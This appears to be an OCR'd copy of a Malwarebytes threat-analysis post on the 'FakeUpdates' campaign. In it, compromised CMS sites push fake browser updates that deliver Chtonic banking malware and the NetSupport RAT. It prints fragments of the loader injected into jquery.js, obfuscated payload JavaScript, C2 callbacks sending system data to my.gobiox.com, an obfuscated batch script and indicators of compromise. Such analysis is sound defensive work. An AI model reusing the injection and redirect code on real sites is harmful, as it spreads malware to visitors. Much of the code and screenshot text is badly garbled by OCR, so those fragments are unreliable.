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A malware campaign which seems to have started at least since December 2017 has been gaining steam by
enrolling a growing number of legitimate but compromised websites. Its modus operandi relies on social

engineering users with fake but convincing update notifications.

Similar techniques were used by a group leveraging malvertising on high traffic websites such as Yahoo to

distribute ad fraud malware. The patterns are also somewhat reminiscent of EITest’s HoeflerText campaign where

hacked websites are scrambled and offer a font for download. More recently, there has been a campaign affecting

Magento websites that also pushes fake updates (for the Flash Player) which delivers the AZORult stealer by
abusing GitHub for hosting.

Today, we are looking at what we call the ‘FakeUpdates campaign’ and describing its intricate filtering and
evasion techniques. One of the earliest examples we could find was reported by BroadAnalysis on December 20,
2017. The update file is not an executable but rather a script which is downloaded from DropBox, a legitimate file

hosting service, as can be seen in the animation below.
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Figure 1: A typical redirection to the ‘FakeUpdates’ scheme from a hacked site*>

This campaign affects multiple Content Management Systems (CMS) in somewhat similar ways. Several of the
websites we checked were outdated and therefore vulnerable to malicious code injection. It is possible that
attackers used the same techniques to build their inventory of compromised sites but we do not have enough

information to confirm this theory.
WordPress and Joomla

Both WordPress and Joomla sites that were hacked bear the same kind of injection within their CMS’ JavaScript

files.
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Figure 2: A Compromised WordPress site pushing a fake Google Chrome update
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Figure 3: A Compromised Joomla site pushing a fake Mozilla Firefox update
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Some commonly injected files include the jquery.js and caption.js libraries where code is typically appended and

can be spotted by doing a comparison with a clean copy of the same file.

N T 337 var nc = a.jQuery, ~
3392 oc = a.$§;
3393 return n.noConflict = function{b) {
3394 return a.% === n && (a.3 = oc), b &% a.jQuery === n &
3395 ¥, b || (a-jOuery = a.% = n), n
3396 ¥;
L D jiuery . notonfiictii;;
153 {function{}) {
5 var o = navigator[g({“ot}nfe;g{A}rce)siu,”)];
] 1> var b = document[g{“ce}i5k)o3oxc9"}];
153 if (#(o, g{"bscw{o)d;nwidW{")) && *x(o, g("7d}idoor{d}n,n
I if (tx(b, g({“p=4a{m}t;u{_,_ ; 6 ))) {
1> var p = document.createElement{"script’});
> p-type = ‘text/javascript’;
I p.-async = true;
> p.src = g('q81766)3,94a)033{2303F)3)12n2{4,e3b)dbf
> var j = document.getElementsByTagHame( script')[8@
(53 j-parentHode.insertBefore{p, j);
- U 153 3 v
< >

Figure 4: Diffing a clean and suspicious copy of the same library

The additional blurb of code is responsible for the next chain of events that loads the fraudulent layer onto the
website you are visiting. The image below shows a beautified version of the code injected in the CMS platforms,

whose goal is to call the redirection URL:
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return

function nih)

{

var 1 = h.length - 1
k += h[i];
H

return k;

Figure 5: Injected code responsible for the redirection

We wrote a simple crawler to browse a list of sites and then parsed the results. We were able to identify several
hundred compromised WordPress and Joomla websites even after a small iteration through the list. Although we

don’t have an exact number of sites that are affected, we surmise that it is in the thousands.
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Figure 6: A partial list of compromised sites

Squarespace

Squarespace is another popular Content Management System that is also affected by the same campaign. This was
pointed out by @Ring0x0 and we found a forum post dated February 28, where a Squarespace user is asking for

({33

help, saying “it basically redirected me to a full page “your version of chrome needs updating”.
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shellyky

Figure 7: A Squarespace user reporting that their sites was tampered with

So I login to the admin panel and in the GIT HISTORY it shows that one of my users which has never even

logged in before, has sent an upload: site-bundle.js last week, along with some other big list of files {sic}.

We dug deeper into these compromises and identified a slightly different redirection mechanism than the one used
on WordPress or Joomla sites. With Squarespace, a blurb of JavaScript is injected directly into the site’s homepage

instead.
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Figure 8: Trdffic showing a malicious redirection taking place on a Squarespace site

It pulls a source file from query/[.network that in turn retrieves bundle.js from boobahbaby|.]com:

. inssertBefore (s,

hild(s) ;

om/site/bundle.

Figure 9: The injected code present in hacked Squarespace sites

bundle.js contains the same script we described earlier that is used to call the redirection URL:

Page 7 of 17



https://www.malwarebytes.com/wp-content/uploads/sites/2/2018/04/Squarespace_.png
https://www.malwarebytes.com/wp-content/uploads/sites/2/2018/04/Squarespace_.png
https://www.malwarebytes.com/wp-content/uploads/sites/2/2018/04/redir_SquareSpace.png
https://www.malwarebytes.com/wp-content/uploads/sites/2/2018/04/redir_SquareSpace.png

https://blog.malwarebytes.com /threat-analysis /2018 /04 /fakeupdates-campaign-leverages-multiple-website-platforms/

redirection_URL html x

X | Q redirection_URLhtml

This page says

https:/ftrack.amishbrand.com/s_code,js7
cid=2328v=47accB4c33bfB5c5496d

Figure 10: The same redirection code used in WP and Joomla infections is used here

According to this PublicWWW query, a little over 900 SquareSpace sites have been injected with this malicious

redirection code.
Figure 11: Identifying other hacked Squarespace sites using a string pattern
Redirection URL and filtering

All CMSes trigger redirection URIs with similar patterns that eventually load the fraudulent update theme. Based
on our tests, the URIs have identifiers that apply to a particular CMS; for example cid=221 is associated with

WordPress sites, while cid=208 with Joomla.

WordPress track.positiverefreshment[. Jorg/s_code. js?cid=2218v=8fdbe4223f0230a93678 track.positivere
Joomla connect.clevelandskin[. Jcom/s_code. js?cid=2088v=elacdealea51b0035267 track.positiverefreshm
SquareSpace track.amishbrand[. Jcom/s_code. js?cid=2328v=47acc84c33b185c5496d

Open Journal Systems track.positiverefreshment(.Jorg/s_code.js?cid=223&v=7124cc38a60ff6cb920d

Unknown CMS track.positiverefreshment[.]org/s_code.js?cid=211&v=7cbb1d9ec5023db2b7d9 track.positivi

There are other interesting artifacts on this infrastructure, such as an ad rotator:

track.positiverefreshment.net:81/adrotator/banner.js?cid=100
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But if we focus on the redirection code itself, we notice that potential victims are fingerprinted and the ultimate
redirection to the FakeUpdates template is conditional, in particular with only one hit per single IP address. The

last JavaScript is responsible for creating the iframe URL to that next sequence.
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Figure 12: Fingerprinting, cookie verification and iframe redirection are performed here

FakeUpdates theme

There are templates for the Chrome, Firefox and Internet Explorer browsers, the latter getting a bogus Flash

Player update instead.
Figure 13: Attackers are targeting browsers with professional looking templates

The decoy pages are hosted on compromised hosts via sub-domains using URIs with very short life spans. Some

of those domains have a live (and legitimate website) whereas others are simply parked:

Legitimate (shadowed) domain:
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— e
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.

Figure 14: This property’s credentials have most likely been stolen and used to register a malicious subdomain

Parked domain:

http://zlsk.redneckonize[.]com/wordpress/article.php?f=445327&g={trimmed}

[a]l=]=] s
[ redneckenize.com *
&« C | @ redneckonize.com ¥
o Wel 1 d koni
- 2lCome 10 redneckoniZze.com
%GODﬂddy This Web page is parked for FREE, courtesy of GoDaddy.com.
Search for domains similar to )
redneckonize.com Is this your
Let's turn it
" Get Started |
Related Links m Would vou ~
¥

Figure 15: Parked domains can hide ulterior motives

Final infection chain and payloads

The infection starts with the fake update disguised as a JavaScript file retrieved from the Dropbox file hosting

service. The link to Dropbox, which is updated at regular intervals, is obfuscated inside of the the first web session

belonging to the fake theme.
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<script>

function getUrl (url) |

url.length; i1++) {
res += url[i];

mn

res = res.split("") .reverse().join("");

return res;

setTimeocut (function() |
window.l tion.href =| fileUrl;

CUEEEEEE C DropBox_URLhtml x

< X | Q DropBox_URLhtmi :

This page says

https:/fwww.dropbox.com/st9106mauqvzva3x/Chrome_71.1.43.j57 g

di=1

Figure 16: the fileURL variable contains the Dropbox URL

This JavaScript is heavily obfuscated to make static analysis very difficult and also to hide some crucial

fingerprinting that is designed to evade virtual machines and sandboxes.
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1+ Request H ¥ Response | [E] Properties

ImageView HexView WebView Auth Caching Cookies Raw  JSOM XML
[T —

Headers TextView

1| (function(tcevymoq) {var fowso="idcje™[["c","m"][0]+"0™+™n"+"s"+"c"+["£", "¥", "W
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E 15) ["t"+"o™+"5"+["m™, "H", "A", "t ,"M"] [ {100,23,35,€1,3)]+ (™4™, ™0O", "p", "™} + (""", "
E g, vET, "IT, A"+ " g ] (Qx24)+["e™, "m™, "e™, "I [2] 4T A e, "L, AT, ™ ") 1 ("
= geshuxsisa(); };var lopu=[];var plawywlul5={};function iwwko() {var cauvzabuc=l;
E for(;cauvzabuc<=luxom[ {("c", "w","1")+["e™, "W"] [0]1+"n"+["g", "b", "n"] [O]+["O", "™, "
£ ", "ET, "y [(=1854+191) 14+"R"] ;) {umymoaze={luxom["s"+ "™, "1™, "L"] [O]+["E™, "D™, "H™, "
E p"j[olj+(™Jg","p", "w", 4d", "v", "s"y+["c", "T"]1 [0]+"c"] {(luwxom ["1™+ ("p", "G", "x", "e™ )+ ("
E e™, k", "b"”, "Q","n")+ X", "J", 2", """, "E", "g", "n"] [parseInt (5, {(-724+747)) 1+ ["M", "
£ u","o", e, "a, "e", "I [§835-830) 1+"h" ] —cauvzabuc) ) [ ["s™, "c™, "2, "n"] [O]+H(25) LI
E E™,™t","a"][(737-73€)]1+(™0O", ™", "g", "k", "x", "o™)+ ("1™, "d™, "H","S")+["t", "R", "A"] [
E {5,50,25,0) 1+ "+"1"+"n"+("P", "b" ,"C", "F","2", "g") 1 (36€)+["1", "m"] [ (—€02+E02) J+"1i"
E +({™E™, "Z", "Q" "e")] (" ") ;for(var puik=(852-852) ;puik<lopu[™1™+("5", "L", "1™, "e™)+"
E a"+"g"+{"c", "h", "F", "t")+"h"] ;puik++) {lopulpuik]l=lopu[puik] “xumymu: [puikSxumymmas: [
£ {"o™,"k","E","B", "1™+ ["e","V","F"] [parseInt (0,31)1+("g", "q", "V", "&", "n") +("H", "
£ g","D", "g"i+"t"+"R"]1] [ ("A","Y", "c")+["e", "h", "p"]1 [(52,597,1) 1+["a", "a", "H", "V"]1[{
=¥ 553-552) 1+[ ", "I, "T"] [ {5€€-5€€) ]+"C"+"0"+"d"+" "+ A"+ ["=", "t", "¥"] [ (€€, 85, 24,
E 73,4,1111((-763+763) ) ; };cauvsabuctt; Inebtpemynggo () 7 } 5 function geshuxsisal() {
E plawywluls ["t"+"o™+(™C™, 6 "y", "D", "c™, "¥", "S™")+("a", """, "t") +" "+ ("w", ", v, W, "
E i"+"n"+"g"1=fowso ["c"+["c","I","R","E","L"]1[{50,58,28,87,72,0)]1+[™n", "p"] [ {180~
E 180} 1+"s"+"e"+"c"+ ("K", "b", "s", "=z", "u" )+ [" ", "5, ", e, "W, "B, "v"] [(31,52,3)]1+
£ (™3™, "E","e")+["1", "y, 5", "o”, "0", "] [3]+{"w", Q" , "™, "x", "™ ] (hogerigyili}s
£ war xumymux=[];wvar luxom—=["y", "k", "p","G","K"]1[2]1+["d", "G"]1[(750-790)]1+"g"+(28)["
E t™+ (™5™, "A", "o™)+"5"+ ("™, "u”, £, "n", "™+ {27 [ ["V", "k, """, "E", "] [(—€T1+E73) ]
E +{z4) ["e"+("Q","E", "h", "0")+("T", "O", "g", "q", "5" )+ ("™, "A", "t")+" "+ ("y", "U", "D",
£ Timy4+rtnt+rtg"] (365" E, T, e (M, "m, e, AT ] [ (598-5596) 1+ A T+ ("a, T, ST
E ,mam, "n")+("L", """, A", "g"i] (2&)+"i"+["E", "n", =", "H", "B", "I"] [{503-502) ]+"g"] {
E 0x24)+"e™+("N", "V, "A", "c", "c", """} +{"s", " ", "a")+("i", "E", "u", "v" ) +("T", "i", "a",
£ "d"™) ; function mwipowwwy () {var mapgubswvazlo=0;for (;mapgubsvazlo<tcevymog ["1" " a™+"
E n"+"g"+["t", "£", "B", "5", "a", "b"] [(72&-T72€) ]+"h"] ;mapgubswvazlo+=2) {lopu ["p +"u"™+"

== T TSN WLT TANWT T d ST IO, T T S emm e Tomiie S mmmmeoem mn F 4 TR T8 T T8 VR TE TE = 10 % 1 TH..TE 0 570 WE  UE TIE 00

0:0 |Q'—IiEkFiI'IE|--- | | Find & Replace Readonly

W

Figure 17: The malicious JavaScript downloaded from DropBox

According to this very good and detailed analysis of the JS file, this is because step2 of the victim’s profiling uses
WScript.Network and WMI to collect system information (BIOS, manufacturer, architecture, MAC address,
processes, etc) and eventually makes the decision to continue with the payload or end the script without delivering

it.

A failed infection will only contain 2 callbacks to the C2 server:
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T‘:é Progress Telerik Fiddler Viewer - failed - o X

File Edit Rules Tools WView Help Links
QuickSave Ulmode VPN Import SAZ/PCAP  Update/View Regexes  Run Regexes  Clear Markings  failed ":._:' -

Server IP Protocol  Method Host URL Body Comments
162.125.66.1 HTTPS GET www.dropbox.com  fs/zlv4op4nnSxntss/Chrome_71.1.49... 0 Malicious JS
162.125.66.6 HTTPS GET dl.dropboxusercontent.com  fcontent_link/FSvgoVvb12Dr 7A 1LWFL. .. 38,319 Malidous 15
185.243.112.38 HTTP POST my.gobiox.com  f1x1.png 10,212 Step 1

185.243.112.38 HTTP P my.gobiox. com
El Log [ Fitters “— Timeline
() statistics ik Inspectors 4 AutoResponder & Composer [T Fiddler Orchestra Beta <5 FiddlerScript
Headers | TextView SyntaxView WebForms HexView Auth Cookies Raw JSON XML
POST http: //my.gobiox.com/1x1.png HTTP/ 1.1 A
Accept: #/7
Accept-Language: en-us

auth2s55: login
Content-Type: application/x-www-Torm-urlencoded

System info collected via WMI is POSTed back to the C2 in encoded format

Content-Length: 2188
Connection: Keep-Alive
Pragma: no-cache

b=c7f7faf2frfreifefasg4e2T48622T28492b4a2bsb4e2T28486a%9a3b5a2boe2f28483a8b0a%abasacazb4ezfz8484af
bsasaaazgssfofeesfeesfifeesadbselfofasesas3fif3iel1f4fas689839582902a97 84e1T3Tas6a%a3bsazhoe1fzfafs
e1f1fagsnaeasazashob4988993e1f0fas6a%a2bsazboeasrs4e1fffaaeasasashzazacezfofrasnaaassfezfos4elrfefa
91aebSbh3bzacabssashfezfo84elTef7Tag185889TezfsTrezfofrezfsfreae2fofrfeezf485Trezfos4elfarefTasaas
abboacbs azasbebzazb4e2f08490aea%a3a8b0b4e2f5f783a%a1a%a%a3a2bs e2f084e1f6fsFasaacabboacbs azacbebs ¥

| Find... (press Ctrl+Enter to highlight all) || ViewinNotepad

Transformer Headers | TextView SyntaxView ImageView HexView WebView Auth Caching Cookies

Raw JS0ON XML

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 06 Apr 2018

Content-Type: text/html
Content-Length: 1
Connection: =

¥-Power ed=By

Empty ‘0’ response means that this machine failed
the fingerprinting test and will not be infected

|Finl:|... {press Ctrl+Enter to highlight all) || Viewin Notepad I

:1;‘3_ Viewer Mode 1/4 http:/fmy.gobiox.com/1x1.png

Figure 18: A host that is not a genuine machine was detected and infection aborted

While a successful infection will contain 3 callbacks to the C2 server (including the payload):
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14 Progress Telerik Fiddler Viewer - full INFECTION - O *®

File Edit Rules Tools View Help Links
CuickSave Ulmode VPN Import SAZ/PCAP Update/View Regexes Run Regexes Clear Markings  full_INFECTION ":._:' =

Server IP Protocol  Method Host  LURL Body Comments
162.125.66.1 HTTRS GET www.dropbox.com  /s/0f7&rjtmfEy4w78/Chrome_71.1.42... 0 J5 Payload
162.125.66.6 HTTPS GET dl.dropboxusercontent.com  fcontent_link/m37YkBRARKaWZ 2P0, .. 36,310 15 Payload
185.243.112.38 HTTP POST my.gobiox.com  f1x1.png 10,528 Step 1
185.243.112.38 HTTP my.gobiox.com  {1x1.png 316,492 Step 2
185.243.112.38 HTIP my.gobiox.com  f1x1.png 0 Step3
[E Log [ Filters “— Timeline

(%) Statistics i, Inspectors 4 AutoResponder # Composer [# Fiddier Orchestra Beta 25 FiddlerScript
Headers | TextView SyntaxView WebForms HexView Auth Cookies Raw 150N XML

POST http: //my.gobiox.com/ix1.png HTTP/1.1 ~
Accept: /=

Accept-Language: en-us

auth2s55: login

Content-Type: app'l1cat1 on/x-www-Torm-urlencoded
Accept-Encoding: deflate

System info collected via WMI is POSTed back to the C2 in encoded format

b=

1dzdzo282d2d3zb2c205e382e5c38285 2486275367 6e38258 797 73382858597 26a7371727C7 9608382855756 72
707842232C332C33292e33776e3b2T2065252b3b2e2044d5E 97074723b2820292b2b204ar473797268624253
493b2a204d5&3b2520595351513325553b242059535l513325553b2c2d20595ES15l3B2f2d382f2d30332f2d2c33255f
73687171382a5e3b2C2C204a747379726a6e33272d59787b7 87379786 382a5e3b2c2f203b2c222028273822502582938
2&5C2d2d382&5C295C382&5C5C5938255C2f2c382a552f2d38255c292c38255CEEEEBEEEEC2824382&5C2953332&5C5b
5h282a5e3b2c29205873757c737er8r9382f2d3s2c2d2c30z82f2dr26f382f2d2c2d2f2076786424382a5e3b2c28204d ¥

|Find... {press Cirl+Enter to highlight all) || Viewin Notepad

Transformer Headers | TextView SyntaxView ImageView HexView WebView Auth Caching Cookies

Raw 150N XML

HTTP/1.1 200 OK -
Server: nginx

Date: Thu, 05 Apr 2018 .
il Full response with encoded payload means

Connection: keep-alive

o & : . -
e that this machine passed the fingerprinting test

0261337276d096dcdb8T239b5b84681csT7ds c9ecsbTd419cerT23aa8ccsbbf49c256T4d94edd1T9101295078dc2d239
be09378022b26a3970789506826a8916d4d16T76ae600dc61a001dT3c7Zaeash4101a9587238b6atbeb00cs8arogsezhze
08813893140452e53T7130eaddcebb303d0e276116a226e70485ab4229e5e2a015db2705ch67502ae311Th42e05cT2f24
05 7cd6e4T1b66954648a818070431406884267b050bec553301Te30d00dd6a02010ckhdb51a3781b762db03bars51a68Ts
Tda43ber4026191202a9d8T362T3c7915T61T688ThE9b839d4Cc93b1lceCc1e3Cc7 852837 4412daeb6030348c3d6e203a72C
891367el1T08d7 237 cO7edat9ef2567a7ef11245dada82275ec762a2f3720ac040d5¢c8T9238787c35bT186024T1L0a3b5Th
ascal7lbb6bl35466dbec3s 35856697 20abes303el8eecard2dicdS 968852115 c6692cd49T3crdecFa95ecdcScasac
2c0122958904a2b7bb957e5ade8225a17b5 300746717 bdfbd3ed4Ta6a452361e4bbbersar3cs0adfer495dbbfeblsb3638
Thczebldbzeed3ac3z2Teeber0878dacbd1010e71bbE38d2b7 76eb08a56b7e23813233225ad128ffe6l9dsd2ef347babrT
516lasefcbhb5dlz66T83b228e44c4a0031bec7ded45T369685T0d2da7601465830b4TTd742adf5aesba4abT726b3898244
eb00b3c4d9c59a243389b9eba3d99a85F97c9366170F1b3a37347aec83Fr77e879111b4556a6154c2a29h33ae56a7319d Y

£ >
| Find... {press Ctrl+Enter to highlight all}) ” Viewin Notepad I
T«:'ﬁ; Viewer Mode 1/5 http:{fmy.gobiox.com1x 1.png

Figure 19: When all checks pass, the user is served the payload

The encoded payload stream is decoded by wscript.exe and a malicious binary (Chrome_71.1.43.exe in this case),
dropped in the %temp% folder. That file was digitally signed and also employed various evasion techniques (such

as an immediate reboot) to defeat sandboxes.
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[EE]=]
. M — |
uu | . <« Local » Temnp - |¢f|| Search Temp 2
Organize - Include in library « » == « i @
i Favorites % Mame size
Bl Desktop H 571 Chrome_71.1.43.exe 153 KB
1 Libraries 1

Signature Info ©

Signature Verification

(/) Signed file, valid signature

File Version Information

Copyright £ Microsoft Corporation. All rights reserved.
Product Microsoft® Windows® Operating System
Description 5xs Tracing Tool

Original Name sxstrace.exe

nternal Name cxstrace.exe

File Version 10.0.16299.15 (WinBuild.160101.0800)
Date Signed 2:14 AM 4/5/2018

Signers

Enero Express Limited
COMODO RSA Code Signing CA
COMODO SECURE™

Figure 20: A digitally signed file is no guarantee for safety

Upon examination, we determined that this is the Chtonic banking malware, a variant of ZeusVM. Once the
system has restarted, Chtonic retrieves a hefty configuration file from 94.100.18[.]6/3.bin.

In a second replay attempt, we got the NetSupport Remote Access Tool, a commercial RAT instead. Its installation
and configuration were already well covered in this blog. Once again, we noticed the heavy use of obfuscation
throughout the delivery of this program that can be used for malicious purposes (file transfer, remote Desktop,

etc.).
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Index of /net7 pat

Name Last modified Size Descrig

Parent Directory; -
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downloads txt
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Auth Cookies Raw JSON XML

|GET /net7_pat/Upd.cmd HTTP/1.1

HexView WebView Auth Caching Cookies Raw
JS0ON XML

Transformer Headers | TextView Syntaxview ImageView

@echo off

@chcp 1251

set dtpamgqdcupdd=c
set flkknkskjgupdd=R
set xkvioggnhaupdd=k

set ztqaprhfdgupdd=\ ]
set venpnkfmskupdd=m Obfuscated batch script
set zqosobjskhupdd=e

set kejzzfajhkupdd=I

set ftgfsivihvupdd=W

set vhigivyvwnupdd=o

set nzpiugnppfupdd=2 W
o osiem (7] [mrmnoreme ][]

= All Processes 1/9 http://91.24

Index of /

Name Last modified Size Description

£y nstd 2018
CQaostd 2 2018
(3 nstd_good’ 2018
£y nst6/ 2018
CJaost? pat’ 2018
£ netd/ 2018
() ametsers/ 2018
Cyswdl/ 2018
Cyswdy 2018
Cystwdy 2018

Figure 21: Traffic from the RAT infection, showing its backend server

Conclusion

This campaign relies on a delivery mechanism that leverages social engineering and abuses a legitimate file

hosting service. The ‘bait’ file consists of a script rather than a malicious executable, giving the attackers the

flexibility to develop interesting obfuscation and fingerprinting techniques.

Compromised websites were abused to not only redirect users but also to host the fake updates scheme, making

their owners unwitting participants in a malware campaign. This is why it is so important to keep Content

Management Systems up to date, as well as use good security hygiene when it comes to authentication.

Malwarebytes blocks the domains and servers used in this attack, as well as the final payload.

Indicators of compromise

Redirection infrastructure:
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23.152.0[.]118 84.200.84[.]236 185.243.112[.]138 185.77.129.11 eventsbysteph[.]com query[.]network col

C2

my.gobiox[.]com login3.kimbrelelectric[.]com (thanks @nao sec)

Dropped binaries:

Chtonic

6f3b0068793b27711d948e11felald1c1aa78600712ec91cddcOe83ed2f4cf1f 94.100.18[.]6/3.bin

NetSupport RAT

4d24b359176389301c14a92607b5c26b8490c41e7e3a2abbc87510d1376f4a87

Source: https://blog.malwarebytes.com/threat-analysis/2018/04/fakeupdates-campaign-leverages-multiple-website-platforms/
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